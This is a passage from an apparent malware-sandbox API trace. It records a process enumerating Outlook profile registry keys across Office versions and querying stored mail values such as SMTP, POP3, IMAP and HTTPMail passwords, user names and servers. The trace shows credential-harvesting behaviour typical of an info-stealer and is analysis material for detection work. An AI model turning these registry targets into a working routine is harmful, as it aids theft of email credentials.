phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.059] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.060] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.060] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.061] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.062] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.062] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.062] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.062] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.063] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\12.0\\Outlook\\Profiles\\Outlook", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.063] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\14.0\\Outlook\\Profiles\\Outlook", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.063] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.063] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.063] RegCloseKey (hKey=0x368) returned 0x0 [0096.063] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.064] RegQueryValueExA (in: hKey=0x368, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.064] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.065] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.065] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.066] RegCloseKey (hKey=0x368) returned 0x0 [0096.066] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54df3b8, lpData=0x54df3b0, lpcbData=0x54df3c0*=0x4 | out: lpType=0x54df3b8*=0x0, lpData=0x54df3b0*=0x0, lpcbData=0x54df3c0*=0x4) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54df3b8, lpData=0x54df3b0, lpcbData=0x54df3c0*=0x4 | out: lpType=0x54df3b8*=0x0, lpData=0x54df3b0*=0x0, lpcbData=0x54df3c0*=0x4) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54df3b8, lpData=0x54df3b0, lpcbData=0x54df3c0*=0x4 | out: lpType=0x54df3b8*=0x0, lpData=0x54df3b0*=0x0, lpcbData=0x54df3c0*=0x4) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.067] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.067] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.068] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.068] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Password2", 